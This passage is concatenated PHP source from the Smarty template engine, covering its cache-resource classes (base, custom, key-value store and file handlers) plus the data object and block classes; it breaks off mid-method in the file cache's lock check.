    abstract public function clear(Smarty $smarty, $resource_name, $cache_id, $compile_id, $exp_time);

    /**
     * @param Smarty                 $smarty
     * @param Smarty_Template_Cached $cached
     *
     * @return bool|null
     */
    public function locked(Smarty $smarty, Smarty_Template_Cached $cached)
    {
        // theoretically locking_timeout should be checked against time_limit (max_execution_time)
        $start = microtime(true);
        $hadLock = null;
        while ($this->hasLock($smarty, $cached)) {
            $hadLock = true;
            if (microtime(true) - $start > $smarty->locking_timeout) {
                // abort waiting for lock release
                return false;
            }
            sleep(1);
        }
        return $hadLock;
    }

    /**
     * Check is cache is locked for this template
     *
     * @param Smarty                 $smarty
     * @param Smarty_Template_Cached $cached
     *
     * @return bool
     */
    public function hasLock(Smarty $smarty, Smarty_Template_Cached $cached)
    {
        // check if lock exists
        return false;
    }

    /**
     * Lock cache for this template
     *
     * @param Smarty                 $smarty
     * @param Smarty_Template_Cached $cached
     *
     * @return bool
     */
    public function acquireLock(Smarty $smarty, Smarty_Template_Cached $cached)
    {
        // create lock
        return true;
    }

    /**
     * Unlock cache for this template
     *
     * @param Smarty                 $smarty
     * @param Smarty_Template_Cached $cached
     *
     * @return bool
     */
    public function releaseLock(Smarty $smarty, Smarty_Template_Cached $cached)
    {
        // release lock
        return true;
    }

    /**
     * Load Cache Resource Handler
     *
     * @param Smarty $smarty Smarty object
     * @param string $type   name of the cache resource
     *
     * @throws SmartyException
     * @return Smarty_CacheResource Cache Resource Handler
     */
    public static function load(Smarty $smarty, $type = null)
    {
        if (!isset($type)) {
            $type = $smarty->caching_type;
        }
        // try smarty's cache
        if (isset($smarty->_cache[ 'cacheresource_handlers' ][ $type ])) {
            return $smarty->_cache[ 'cacheresource_handlers' ][ $type ];
        }
        // try registered resource
        if (isset($smarty->registered_cache_resources[ $type ])) {
            // do not cache these instances as they may vary from instance to instance
            return $smarty->_cache[ 'cacheresource_handlers' ][ $type ] = $smarty->registered_cache_resources[ $type ];
        }
        // try sysplugins dir
        if (isset(self::$sysplugins[ $type ])) {
            $cache_resource_class = 'Smarty_Internal_CacheResource_' . smarty_ucfirst_ascii($type);
            return $smarty->_cache[ 'cacheresource_handlers' ][ $type ] = new $cache_resource_class();
        }
        // try plugins dir
        $cache_resource_class = 'Smarty_CacheResource_' . smarty_ucfirst_ascii($type);
        if ($smarty->loadPlugin($cache_resource_class)) {
            return $smarty->_cache[ 'cacheresource_handlers' ][ $type ] = new $cache_resource_class();
        }
        // give up
        throw new SmartyException("Unable to load cache resource '{$type}'");
    }
}
<?php
/**
 * Smarty Internal Plugin
 *
 * @package    Smarty
 * @subpackage Cacher
 */

/**
 * Cache Handler API
 *
 * @package    Smarty
 * @subpackage Cacher
 * @author     Rodney Rehm
 */
abstract class Smarty_CacheResource_Custom extends Smarty_CacheResource
{
    /**
     * fetch cached content and its modification time from data source
     *
     * @param string  $id         unique cache content identifier
     * @param string  $name       template name
     * @param string  $cache_id   cache id
     * @param string  $compile_id compile id
     * @param string  $content    cached content
     * @param integer $mtime      cache modification timestamp (epoch)
     *
     * @return void
     */
    abstract protected function fetch($id, $name, $cache_id, $compile_id, &$content, &$mtime);

    /**
     * Fetch cached content's modification timestamp from data source
     * {@internal implementing this method is optional.
     *  Only implement it if modification times can be accessed faster than loading the complete cached content.}}
     *
     * @param string $id         unique cache content identifier
     * @param string $name       template name
     * @param string $cache_id   cache id
     * @param string $compile_id compile id
     *
     * @return integer|boolean timestamp (epoch) the template was modified, or false if not found
     */
    protected function fetchTimestamp($id, $name, $cache_id, $compile_id)
    {
        return false;
    }

    /**
     * Save content to cache
     *
     * @param string       $id         unique cache content identifier
     * @param string       $name       template name
     * @param string       $cache_id   cache id
     * @param string       $compile_id compile id
     * @param integer|null $exp_time   seconds till expiration or null
     * @param string       $content    content to cache
     *
     * @return boolean      success
     */
    abstract protected function save($id, $name, $cache_id, $compile_id, $exp_time, $content);

    /**
     * Delete content from cache
     *
     * @param string|null  $name       template name
     * @param string|null  $cache_id   cache id
     * @param string|null  $compile_id compile id
     * @param integer|null $exp_time   seconds till expiration time in seconds or null
     *
     * @return integer      number of deleted caches
     */
    abstract protected function delete($name, $cache_id, $compile_id, $exp_time);

    /**
     * populate Cached Object with meta data from Resource
     *
     * @param Smarty_Template_Cached   $cached    cached object
     * @param Smarty_Internal_Template $_template template object
     *
     * @return void
     */
    public function populate(Smarty_Template_Cached $cached, Smarty_Internal_Template $_template)
    {
        $_cache_id = isset($cached->cache_id) ? preg_replace('![^\w\|]+!', '_', $cached->cache_id) : null;
        $_compile_id = isset($cached->compile_id) ? preg_replace('![^\w]+!', '_', $cached->compile_id) : null;
        $path = $cached->source->uid . $_cache_id . $_compile_id;
        $cached->filepath = sha1($path);
        if ($_template->smarty->cache_locking) {
            $cached->lock_id = sha1('lock.' . $path);
        }
        $this->populateTimestamp($cached);
    }

    /**
     * populate Cached Object with timestamp and exists from Resource
     *
     * @param Smarty_Template_Cached $cached
     *
     * @return void
     */
    public function populateTimestamp(Smarty_Template_Cached $cached)
    {
        $mtime =
            $this->fetchTimestamp($cached->filepath, $cached->source->name, $cached->cache_id, $cached->compile_id);
        if ($mtime !== null) {
            $cached->timestamp = $mtime;
            $cached->exists = !!$cached->timestamp;
            return;
        }
        $timestamp = null;
        $this->fetch(
            $cached->filepath,
            $cached->source->name,
            $cached->cache_id,
            $cached->compile_id,
            $cached->content,
            $timestamp
        );
        $cached->timestamp = isset($timestamp) ? $timestamp : false;
        $cached->exists = !!$cached->timestamp;
    }

    /**
     * Read the cached template and process the header
     *
     * @param \Smarty_Internal_Template   $_smarty_tpl do not change variable name, is used by compiled template
     * @param Smarty_Template_Cached|null $cached      cached object
     * @param boolean                     $update      flag if called because cache update
     *
     * @return boolean                 true or false if the cached content does not exist
     */
    public function process(
        Smarty_Internal_Template $_smarty_tpl,
        ?Smarty_Template_Cached $cached = null,
        $update = false
    ) {
        if (!$cached) {
            $cached = $_smarty_tpl->cached;
        }
        $content = $cached->content ? $cached->content : null;
        $timestamp = $cached->timestamp ? $cached->timestamp : null;
        if ($content === null || !$timestamp) {
            $this->fetch(
                $_smarty_tpl->cached->filepath,
                $_smarty_tpl->source->name,
                $_smarty_tpl->cache_id,
                $_smarty_tpl->compile_id,
                $content,
                $timestamp
            );
        }
        if (isset($content)) {
            eval('?>' . $content);
            $cached->content = null;
            return true;
        }
        return false;
    }

    /**
     * Write the rendered template output to cache
     *
     * @param Smarty_Internal_Template $_template template object
     * @param string                   $content   content to cache
     *
     * @return boolean                  success
     */
    public function writeCachedContent(Smarty_Internal_Template $_template, $content)
    {
        return $this->save(
            $_template->cached->filepath,
            $_template->source->name,
            $_template->cache_id,
            $_template->compile_id,
            $_template->cache_lifetime,
            $content
        );
    }

    /**
     * Read cached template from cache
     *
     * @param Smarty_Internal_Template $_template template object
     *
     * @return string|boolean  content
     */
    public function readCachedContent(Smarty_Internal_Template $_template)
    {
        $content = $_template->cached->content ? $_template->cached->content : null;
        $timestamp = null;
        if ($content === null) {
            $timestamp = null;
            $this->fetch(
                $_template->cached->filepath,
                $_template->source->name,
                $_template->cache_id,
                $_template->compile_id,
                $content,
                $timestamp
            );
        }
        if (isset($content)) {
            return $content;
        }
        return false;
    }

    /**
     * Empty cache
     *
     * @param Smarty  $smarty   Smarty object
     * @param integer $exp_time expiration time (number of seconds, not timestamp)
     *
     * @return integer number of cache files deleted
     */
    public function clearAll(Smarty $smarty, $exp_time = null)
    {
        return $this->delete(null, null, null, $exp_time);
    }

    /**
     * Empty cache for a specific template
     *
     * @param Smarty  $smarty        Smarty object
     * @param string  $resource_name template name
     * @param string  $cache_id      cache id
     * @param string  $compile_id    compile id
     * @param integer $exp_time      expiration time (number of seconds, not timestamp)
     *
     * @return int number of cache files deleted
     * @throws \SmartyException
     */
    public function clear(Smarty $smarty, $resource_name, $cache_id, $compile_id, $exp_time)
    {
        $cache_name = null;
        if (isset($resource_name)) {
            $source = Smarty_Template_Source::load(null, $smarty, $resource_name);
            if ($source->exists) {
                $cache_name = $source->name;
            } else {
                return 0;
            }
        }
        return $this->delete($cache_name, $cache_id, $compile_id, $exp_time);
    }

    /**
     * Check is cache is locked for this template
     *
     * @param Smarty                 $smarty Smarty object
     * @param Smarty_Template_Cached $cached cached object
     *
     * @return boolean               true or false if cache is locked
     */
    public function hasLock(Smarty $smarty, Smarty_Template_Cached $cached)
    {
        $id = $cached->lock_id;
        $name = $cached->source->name . '.lock';
        $mtime = $this->fetchTimestamp($id, $name, $cached->cache_id, $cached->compile_id);
        if ($mtime === null) {
            $this->fetch($id, $name, $cached->cache_id, $cached->compile_id, $content, $mtime);
        }
        return $mtime && ($t = time()) - $mtime < $smarty->locking_timeout;
    }

    /**
     * Lock cache for this template
     *
     * @param Smarty                 $smarty Smarty object
     * @param Smarty_Template_Cached $cached cached object
     *
     * @return bool|void
     */
    public function acquireLock(Smarty $smarty, Smarty_Template_Cached $cached)
    {
        $cached->is_locked = true;
        $id = $cached->lock_id;
        $name = $cached->source->name . '.lock';
        $this->save($id, $name, $cached->cache_id, $cached->compile_id, $smarty->locking_timeout, '');
    }

    /**
     * Unlock cache for this template
     *
     * @param Smarty                 $smarty Smarty object
     * @param Smarty_Template_Cached $cached cached object
     *
     * @return bool|void
     */
    public function releaseLock(Smarty $smarty, Smarty_Template_Cached $cached)
    {
        $cached->is_locked = false;
        $name = $cached->source->name . '.lock';
        $this->delete($name, $cached->cache_id, $cached->compile_id, null);
    }
}
<?php
/**
 * Smarty Internal Plugin
 *
 * @package    Smarty
 * @subpackage Cacher
 */

/**
 * Smarty Cache Handler Base for Key/Value Storage Implementations
 * This class implements the functionality required to use simple key/value stores
 * for hierarchical cache groups. key/value stores like memcache or APC do not support
 * wildcards in keys, therefore a cache group cannot be cleared like "a|*" - which
 * is no problem to filesystem and RDBMS implementations.
 * This implementation is based on the concept of invalidation. While one specific cache
 * can be identified and cleared, any range of caches cannot be identified. For this reason
 * each level of the cache group hierarchy can have its own value in the store. These values
 * are nothing but microtimes, telling us when a particular cache group was cleared for the
 * last time. These keys are evaluated for every cache read to determine if the cache has
 * been invalidated since it was created and should hence be treated as inexistent.
 * Although deep hierarchies are possible, they are not recommended. Try to keep your
 * cache groups as shallow as possible. Anything up 3-5 parents should be ok. So
 * »a|b|c« is a good depth where »a|b|c|d|e|f|g|h|i|j|k« isn't. Try to join correlating
 * cache groups: if your cache groups look somewhat like »a|b|$page|$items|$whatever«
 * consider using »a|b|c|$page-$items-$whatever« instead.
 *
 * @package    Smarty
 * @subpackage Cacher
 * @author     Rodney Rehm
 */
abstract class Smarty_CacheResource_KeyValueStore extends Smarty_CacheResource
{
    /**
     * cache for contents
     *
     * @var array
     */
    protected $contents = array();

    /**
     * cache for timestamps
     *
     * @var array
     */
    protected $timestamps = array();

    /**
     * populate Cached Object with meta data from Resource
     *
     * @param Smarty_Template_Cached   $cached    cached object
     * @param Smarty_Internal_Template $_template template object
     *
     * @return void
     */
    public function populate(Smarty_Template_Cached $cached, Smarty_Internal_Template $_template)
    {
        $cached->filepath = $_template->source->uid . '#' . $this->sanitize($cached->source->resource) . '#' .
                            $this->sanitize($cached->cache_id) . '#' . $this->sanitize($cached->compile_id);
        $this->populateTimestamp($cached);
    }

    /**
     * populate Cached Object with timestamp and exists from Resource
     *
     * @param Smarty_Template_Cached $cached cached object
     *
     * @return void
     */
    public function populateTimestamp(Smarty_Template_Cached $cached)
    {
        if (!$this->fetch(
            $cached->filepath,
            $cached->source->name,
            $cached->cache_id,
            $cached->compile_id,
            $content,
            $timestamp,
            $cached->source->uid
        )
        ) {
            return;
        }
        $cached->content = $content;
        $cached->timestamp = (int)$timestamp;
        $cached->exists = !!$cached->timestamp;
    }

    /**
     * Read the cached template and process the header
     *
     * @param \Smarty_Internal_Template   $_smarty_tpl do not change variable name, is used by compiled template
     * @param Smarty_Template_Cached|null $cached      cached object
     * @param boolean                     $update      flag if called because cache update
     *
     * @return boolean                 true or false if the cached content does not exist
     */
    public function process(
        Smarty_Internal_Template $_smarty_tpl,
        ?Smarty_Template_Cached $cached = null,
        $update = false
    ) {
        if (!$cached) {
            $cached = $_smarty_tpl->cached;
        }
        $content = $cached->content ? $cached->content : null;
        $timestamp = $cached->timestamp ? $cached->timestamp : null;
        if ($content === null || !$timestamp) {
            if (!$this->fetch(
                $_smarty_tpl->cached->filepath,
                $_smarty_tpl->source->name,
                $_smarty_tpl->cache_id,
                $_smarty_tpl->compile_id,
                $content,
                $timestamp,
                $_smarty_tpl->source->uid
            )
            ) {
                return false;
            }
        }
        if (isset($content)) {
            eval('?>' . $content);
            return true;
        }
        return false;
    }

    /**
     * Write the rendered template output to cache
     *
     * @param Smarty_Internal_Template $_template template object
     * @param string                   $content   content to cache
     *
     * @return boolean                  success
     */
    public function writeCachedContent(Smarty_Internal_Template $_template, $content)
    {
        $this->addMetaTimestamp($content);
        return $this->write(array($_template->cached->filepath => $content), $_template->cache_lifetime);
    }

    /**
     * Read cached template from cache
     *
     * @param Smarty_Internal_Template $_template template object
     *
     * @return string|false  content
     */
    public function readCachedContent(Smarty_Internal_Template $_template)
    {
        $content = $_template->cached->content ? $_template->cached->content : null;
        $timestamp = null;
        if ($content === null) {
            if (!$this->fetch(
                $_template->cached->filepath,
                $_template->source->name,
                $_template->cache_id,
                $_template->compile_id,
                $content,
                $timestamp,
                $_template->source->uid
            )
            ) {
                return false;
            }
        }
        if (isset($content)) {
            return $content;
        }
        return false;
    }

    /**
     * Empty cache
     * {@internal the $exp_time argument is ignored altogether }}
     *
     * @param Smarty  $smarty   Smarty object
     * @param integer $exp_time expiration time [being ignored]
     *
     * @return integer number of cache files deleted [always -1]
     * @uses   purge() to clear the whole store
     * @uses   invalidate() to mark everything outdated if purge() is inapplicable
     */
    public function clearAll(Smarty $smarty, $exp_time = null)
    {
        if (!$this->purge()) {
            $this->invalidate(null);
        }
        return -1;
    }

    /**
     * Empty cache for a specific template
     * {@internal the $exp_time argument is ignored altogether}}
     *
     * @param Smarty  $smarty        Smarty object
     * @param string  $resource_name template name
     * @param string  $cache_id      cache id
     * @param string  $compile_id    compile id
     * @param integer $exp_time      expiration time [being ignored]
     *
     * @return int number of cache files deleted [always -1]
     * @throws \SmartyException
     * @uses   buildCachedFilepath() to generate the CacheID
     * @uses   invalidate() to mark CacheIDs parent chain as outdated
     * @uses   delete() to remove CacheID from cache
     */
    public function clear(Smarty $smarty, $resource_name, $cache_id, $compile_id, $exp_time)
    {
        $uid = $this->getTemplateUid($smarty, $resource_name);
        $cid = $uid . '#' . $this->sanitize($resource_name) . '#' . $this->sanitize($cache_id) . '#' .
               $this->sanitize($compile_id);
        $this->delete(array($cid));
        $this->invalidate($cid, $resource_name, $cache_id, $compile_id, $uid);
        return -1;
    }

    /**
     * Get template's unique ID
     *
     * @param Smarty $smarty        Smarty object
     * @param string $resource_name template name
     *
     * @return string filepath of cache file
     * @throws \SmartyException
     */
    protected function getTemplateUid(Smarty $smarty, $resource_name)
    {
        if (isset($resource_name)) {
            $source = Smarty_Template_Source::load(null, $smarty, $resource_name);
            if ($source->exists) {
                return $source->uid;
            }
        }
        return '';
    }

    /**
     * Sanitize CacheID components
     *
     * @param string $string CacheID component to sanitize
     *
     * @return string sanitized CacheID component
     */
    protected function sanitize($string)
    {
        $string = trim((string)$string, '|');
        if (!$string) {
            return '';
        }
        return preg_replace('#[^\w\|]+#S', '_', $string);
    }

    /**
     * Fetch and prepare a cache object.
     *
     * @param string  $cid           CacheID to fetch
     * @param string  $resource_name template name
     * @param string  $cache_id      cache id
     * @param string  $compile_id    compile id
     * @param string  $content       cached content
     * @param integer &$timestamp    cached timestamp (epoch)
     * @param string  $resource_uid  resource's uid
     *
     * @return boolean success
     */
    protected function fetch(
        $cid,
        $resource_name = null,
        $cache_id = null,
        $compile_id = null,
        &$content = null,
        &$timestamp = null,
        $resource_uid = null
    ) {
        $t = $this->read(array($cid));
        $content = !empty($t[ $cid ]) ? $t[ $cid ] : null;
        $timestamp = null;
        if ($content && ($timestamp = $this->getMetaTimestamp($content))) {
            $invalidated =
                $this->getLatestInvalidationTimestamp($cid, $resource_name, $cache_id, $compile_id, $resource_uid);
            if ($invalidated > $timestamp) {
                $timestamp = null;
                $content = null;
            }
        }
        return !!$content;
    }

    /**
     * Add current microtime to the beginning of $cache_content
     * {@internal the header uses 8 Bytes, the first 4 Bytes are the seconds, the second 4 Bytes are the microseconds}}
     *
     * @param string &$content the content to be cached
     */
    protected function addMetaTimestamp(&$content)
    {
        $mt = explode(' ', microtime());
        $ts = pack('NN', $mt[ 1 ], (int)($mt[ 0 ] * 100000000));
        $content = $ts . $content;
    }

    /**
     * Extract the timestamp the $content was cached
     *
     * @param string &$content the cached content
     *
     * @return float  the microtime the content was cached
     */
    protected function getMetaTimestamp(&$content)
    {
        extract(unpack('N1s/N1m/a*content', $content));
        /**
         * @var  int $s
         * @var  int $m
         */
        return $s + ($m / 100000000);
    }

    /**
     * Invalidate CacheID
     *
     * @param string $cid           CacheID
     * @param string $resource_name template name
     * @param string $cache_id      cache id
     * @param string $compile_id    compile id
     * @param string $resource_uid  source's uid
     *
     * @return void
     */
    protected function invalidate(
        $cid = null,
        $resource_name = null,
        $cache_id = null,
        $compile_id = null,
        $resource_uid = null
    ) {
        $now = microtime(true);
        $key = null;
        // invalidate everything
        if (!$resource_name && !$cache_id && !$compile_id) {
            $key = 'IVK#ALL';
        } // invalidate all caches by template
        else {
            if ($resource_name && !$cache_id && !$compile_id) {
                $key = 'IVK#TEMPLATE#' . $resource_uid . '#' . $this->sanitize($resource_name);
            } // invalidate all caches by cache group
            else {
                if (!$resource_name && $cache_id && !$compile_id) {
                    $key = 'IVK#CACHE#' . $this->sanitize($cache_id);
                } // invalidate all caches by compile id
                else {
                    if (!$resource_name && !$cache_id && $compile_id) {
                        $key = 'IVK#COMPILE#' . $this->sanitize($compile_id);
                    } // invalidate by combination
                    else {
                        $key = 'IVK#CID#' . $cid;
                    }
                }
            }
        }
        $this->write(array($key => $now));
    }

    /**
     * Determine the latest timestamp known to the invalidation chain
     *
     * @param string $cid           CacheID to determine latest invalidation timestamp of
     * @param string $resource_name template name
     * @param string $cache_id      cache id
     * @param string $compile_id    compile id
     * @param string $resource_uid  source's filepath
     *
     * @return float  the microtime the CacheID was invalidated
     */
    protected function getLatestInvalidationTimestamp(
        $cid,
        $resource_name = null,
        $cache_id = null,
        $compile_id = null,
        $resource_uid = null
    ) {
        // abort if there is no CacheID
        if (false && !$cid) {
            return 0;
        }
        // abort if there are no InvalidationKeys to check
        if (!($_cid = $this->listInvalidationKeys($cid, $resource_name, $cache_id, $compile_id, $resource_uid))) {
            return 0;
        }
        // there are no InValidationKeys
        if (!($values = $this->read($_cid))) {
            return 0;
        }
        // make sure we're dealing with floats
        $values = array_map('floatval', $values);
        return max($values);
    }

    /**
     * Translate a CacheID into the list of applicable InvalidationKeys.
     * Splits 'some|chain|into|an|array' into array( '#clearAll#', 'some', 'some|chain', 'some|chain|into', ... )
     *
     * @param string $cid           CacheID to translate
     * @param string $resource_name template name
     * @param string $cache_id      cache id
     * @param string $compile_id    compile id
     * @param string $resource_uid  source's filepath
     *
     * @return array  list of InvalidationKeys
     * @uses   $invalidationKeyPrefix to prepend to each InvalidationKey
     */
    protected function listInvalidationKeys(
        $cid,
        $resource_name = null,
        $cache_id = null,
        $compile_id = null,
        $resource_uid = null
    ) {
        $t = array('IVK#ALL');
        $_name = $_compile = '#';
        if ($resource_name) {
            $_name .= $resource_uid . '#' . $this->sanitize($resource_name);
            $t[] = 'IVK#TEMPLATE' . $_name;
        }
        if ($compile_id) {
            $_compile .= $this->sanitize($compile_id);
            $t[] = 'IVK#COMPILE' . $_compile;
        }
        $_name .= '#';
        $cid = trim((string)$cache_id, '|');
        if (!$cid) {
            return $t;
        }
        $i = 0;
        while (true) {
            // determine next delimiter position
            $i = strpos($cid, '|', $i);
            // add complete CacheID if there are no more delimiters
            if ($i === false) {
                $t[] = 'IVK#CACHE#' . $cid;
                $t[] = 'IVK#CID' . $_name . $cid . $_compile;
                $t[] = 'IVK#CID' . $_name . $_compile;
                break;
            }
            $part = substr($cid, 0, $i);
            // add slice to list
            $t[] = 'IVK#CACHE#' . $part;
            $t[] = 'IVK#CID' . $_name . $part . $_compile;
            // skip past delimiter position
            $i++;
        }
        return $t;
    }

    /**
     * Check is cache is locked for this template
     *
     * @param Smarty                 $smarty Smarty object
     * @param Smarty_Template_Cached $cached cached object
     *
     * @return boolean               true or false if cache is locked
     */
    public function hasLock(Smarty $smarty, Smarty_Template_Cached $cached)
    {
        $key = 'LOCK#' . $cached->filepath;
        $data = $this->read(array($key));
        return $data && time() - $data[ $key ] < $smarty->locking_timeout;
    }

    /**
     * Lock cache for this template
     *
     * @param Smarty                 $smarty Smarty object
     * @param Smarty_Template_Cached $cached cached object
     *
     * @return bool|void
     */
    public function acquireLock(Smarty $smarty, Smarty_Template_Cached $cached)
    {
        $cached->is_locked = true;
        $key = 'LOCK#' . $cached->filepath;
        $this->write(array($key => time()), $smarty->locking_timeout);
    }

    /**
     * Unlock cache for this template
     *
     * @param Smarty                 $smarty Smarty object
     * @param Smarty_Template_Cached $cached cached object
     *
     * @return bool|void
     */
    public function releaseLock(Smarty $smarty, Smarty_Template_Cached $cached)
    {
        $cached->is_locked = false;
        $key = 'LOCK#' . $cached->filepath;
        $this->delete(array($key));
    }

    /**
     * Read values for a set of keys from cache
     *
     * @param array $keys list of keys to fetch
     *
     * @return array list of values with the given keys used as indexes
     */
    abstract protected function read(array $keys);

    /**
     * Save values for a set of keys to cache
     *
     * @param array $keys   list of values to save
     * @param int   $expire expiration time
     *
     * @return boolean true on success, false on failure
     */
    abstract protected function write(array $keys, $expire = null);

    /**
     * Remove values from cache
     *
     * @param array $keys list of keys to delete
     *
     * @return boolean true on success, false on failure
     */
    abstract protected function delete(array $keys);

    /**
     * Remove *all* values from cache
     *
     * @return boolean true on success, false on failure
     */
    protected function purge()
    {
        return false;
    }
}
<?php
/**
 * Smarty Plugin Data
 * This file contains the data object
 *
 * @package    Smarty
 * @subpackage Template
 * @author     Uwe Tews
 */

/**
 * class for the Smarty data object
 * The Smarty data object will hold Smarty variables in the current scope
 *
 * @package    Smarty
 * @subpackage Template
 */
class Smarty_Data extends Smarty_Internal_Data
{
    /**
     * Counter
     *
     * @var int
     */
    public static $count = 0;

    /**
     * Data block name
     *
     * @var string
     */
    public $dataObjectName = '';

    /**
     * Smarty object
     *
     * @var Smarty
     */
    public $smarty = null;

    /**
     * create Smarty data object
     *
     * @param Smarty|array                    $_parent parent template
     * @param Smarty|Smarty_Internal_Template $smarty  global smarty instance
     * @param string                          $name    optional data block name
     *
     * @throws SmartyException
     */
    public function __construct($_parent = null, $smarty = null, $name = null)
    {
        parent::__construct();
        self::$count++;
        $this->dataObjectName = 'Data_object ' . (isset($name) ? "'{$name}'" : self::$count);
        $this->smarty = $smarty;
        if (is_object($_parent)) {
            // when object set up back pointer
            $this->parent = $_parent;
        } elseif (is_array($_parent)) {
            // set up variable values
            foreach ($_parent as $_key => $_val) {
                $this->tpl_vars[ $_key ] = new Smarty_Variable($_val);
            }
        } elseif ($_parent !== null) {
            throw new SmartyException('Wrong type for template variables');
        }
    }
}
<?php

/**
 * Smarty {block} tag class
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Block
{
    /**
     * Block name
     *
     * @var string
     */
    public $name = '';

    /**
     * Hide attribute
     *
     * @var bool
     */
    public $hide = false;

    /**
     * Append attribute
     *
     * @var bool
     */
    public $append = false;

    /**
     * prepend attribute
     *
     * @var bool
     */
    public $prepend = false;

    /**
     * Block calls $smarty.block.child
     *
     * @var bool
     */
    public $callsChild = false;

    /**
     * Inheritance child block
     *
     * @var Smarty_Internal_Block|null
     */
    public $child = null;

    /**
     * Inheritance calling parent block
     *
     * @var Smarty_Internal_Block|null
     */
    public $parent = null;

    /**
     * Inheritance Template index
     *
     * @var int
     */
    public $tplIndex = 0;

    /**
     * Smarty_Internal_Block constructor.
     * - if outer level {block} of child template ($state === 1) save it as child root block
     * - otherwise process inheritance and render
     *
     * @param string   $name     block name
     * @param int|null $tplIndex index of outer level {block} if nested
     */
    public function __construct($name, $tplIndex)
    {
        $this->name = $name;
        $this->tplIndex = $tplIndex;
    }

    /**
     * Compiled block code overloaded by {block} class
     *
     * @param \Smarty_Internal_Template $tpl
     */
    public function callBlock(Smarty_Internal_Template $tpl)
    {
    }
}
<?php
/**
 * Smarty Internal Plugin CacheResource File
 *
 * @package    Smarty
 * @subpackage Cacher
 * @author     Uwe Tews
 * @author     Rodney Rehm
 */

/**
 * This class does contain all necessary methods for the HTML cache on file system
 * Implements the file system as resource for the HTML cache Version ussing nocache inserts.
 *
 * @package    Smarty
 * @subpackage Cacher
 */
class Smarty_Internal_CacheResource_File extends Smarty_CacheResource
{
    /**
     * populate Cached Object with meta data from Resource
     *
     * @param Smarty_Template_Cached   $cached    cached object
     * @param Smarty_Internal_Template $_template template object
     *
     * @return void
     */
    public function populate(Smarty_Template_Cached $cached, Smarty_Internal_Template $_template)
    {
        $source = &$_template->source;
        $smarty = &$_template->smarty;
        $_compile_dir_sep = $smarty->use_sub_dirs ? DIRECTORY_SEPARATOR : '^';
        $_filepath = sha1($source->uid . $smarty->_joined_template_dir);
        $cached->filepath = $smarty->getCacheDir();
        if (isset($_template->cache_id)) {
            $cached->filepath .= preg_replace(
                                     array(
                                         '![^\w|]+!',
                                         '![|]+!'
                                     ),
                                     array(
                                         '_',
                                         $_compile_dir_sep
                                     ),
                                     $_template->cache_id
                                 ) . $_compile_dir_sep;
        }
        if (isset($_template->compile_id)) {
            $cached->filepath .= preg_replace('![^\w]+!', '_', $_template->compile_id) . $_compile_dir_sep;
        }
        // if use_sub_dirs, break file into directories
        if ($smarty->use_sub_dirs) {
            $cached->filepath .= $_filepath[ 0 ] . $_filepath[ 1 ] . DIRECTORY_SEPARATOR . $_filepath[ 2 ] .
                                 $_filepath[ 3 ] .
                                 DIRECTORY_SEPARATOR .
                                 $_filepath[ 4 ] . $_filepath[ 5 ] . DIRECTORY_SEPARATOR;
        }
        $cached->filepath .= $_filepath;
        $basename = $source->handler->getBasename($source);
        if (!empty($basename)) {
            $cached->filepath .= '.' . $basename;
        }
        if ($smarty->cache_locking) {
            $cached->lock_id = $cached->filepath . '.lock';
        }
        $cached->filepath .= '.php';
        $cached->timestamp = $cached->exists = is_file($cached->filepath);
        if ($cached->exists) {
            $cached->timestamp = filemtime($cached->filepath);
        }
    }

    /**
     * populate Cached Object with timestamp and exists from Resource
     *
     * @param Smarty_Template_Cached $cached cached object
     *
     * @return void
     */
    public function populateTimestamp(Smarty_Template_Cached $cached)
    {
        $cached->timestamp = $cached->exists = is_file($cached->filepath);
        if ($cached->exists) {
            $cached->timestamp = filemtime($cached->filepath);
        }
    }

    /**
     * Read the cached template and process its header
     *
     * @param \Smarty_Internal_Template   $_smarty_tpl do not change variable name, is used by compiled template
     * @param Smarty_Template_Cached|null $cached      cached object
     * @param bool                        $update      flag if called because cache update
     *
     * @return boolean true or false if the cached content does not exist
     */
    public function process(
        Smarty_Internal_Template $_smarty_tpl,
        ?Smarty_Template_Cached $cached = null,
        $update = false
    ) {
        $_smarty_tpl->cached->valid = false;
        if ($update && defined('HHVM_VERSION')) {
            eval('?>' . file_get_contents($_smarty_tpl->cached->filepath));
            return true;
        } else {
            return @include $_smarty_tpl->cached->filepath;
        }
    }

    /**
     * Write the rendered template output to cache
     *
     * @param Smarty_Internal_Template $_template template object
     * @param string                   $content   content to cache
     *
     * @return bool success
     * @throws \SmartyException
     */
    public function writeCachedContent(Smarty_Internal_Template $_template, $content)
    {
        if ($_template->smarty->ext->_writeFile->writeFile(
                $_template->cached->filepath,
                $content,
                $_template->smarty
            ) === true
        ) {
            if (function_exists('opcache_invalidate')
                && (!function_exists('ini_get') || strlen(ini_get('opcache.restrict_api'))) < 1
            ) {
                opcache_invalidate($_template->cached->filepath, true);
            } elseif (function_exists('apc_compile_file')) {
                apc_compile_file($_template->cached->filepath);
            }
            $cached = $_template->cached;
            $cached->timestamp = $cached->exists = is_file($cached->filepath);
            if ($cached->exists) {
                $cached->timestamp = filemtime($cached->filepath);
                return true;
            }
        }
        return false;
    }

    /**
     * Read cached template from cache
     *
     * @param Smarty_Internal_Template $_template template object
     *
     * @return string  content
     */
    public function readCachedContent(Smarty_Internal_Template $_template)
    {
        if (is_file($_template->cached->filepath)) {
            return file_get_contents($_template->cached->filepath);
        }
        return false;
    }

    /**
     * Empty cache
     *
     * @param Smarty  $smarty
     * @param integer $exp_time expiration time (number of seconds, not timestamp)
     *
     * @return integer number of cache files deleted
     */
    public function clearAll(Smarty $smarty, $exp_time = null)
    {
        return $smarty->ext->_cacheResourceFile->clear($smarty, null, null, null, $exp_time);
    }

    /**
     * Empty cache for a specific template
     *
     * @param Smarty  $smarty
     * @param string  $resource_name template name
     * @param string  $cache_id      cache id
     * @param string  $compile_id    compile id
     * @param integer $exp_time      expiration time (number of seconds, not timestamp)
     *
     * @return integer number of cache files deleted
     */
    public function clear(Smarty $smarty, $resource_name, $cache_id, $compile_id, $exp_time)
    {
        return $smarty->ext->_cacheResourceFile->clear($smarty, $resource_name, $cache_id, $compile_id, $exp_time);
    }

    /**
     * Check is cache is locked for this template
     *
     * @param Smarty                 $smarty Smarty object
     * @param Smarty_Template_Cached $cached cached object
     *
     * @return boolean true or false if cache is locked
     */
    public function hasLock(Smarty $smarty, Smarty_Template_Cached $cached)
    {
        clearstatcache(true, $cached->lock_id ?? '');
        if (null !== $cached->lock_id && is_file($cached->lock_id)) {
            $t = filemtime($cached->lock_id);
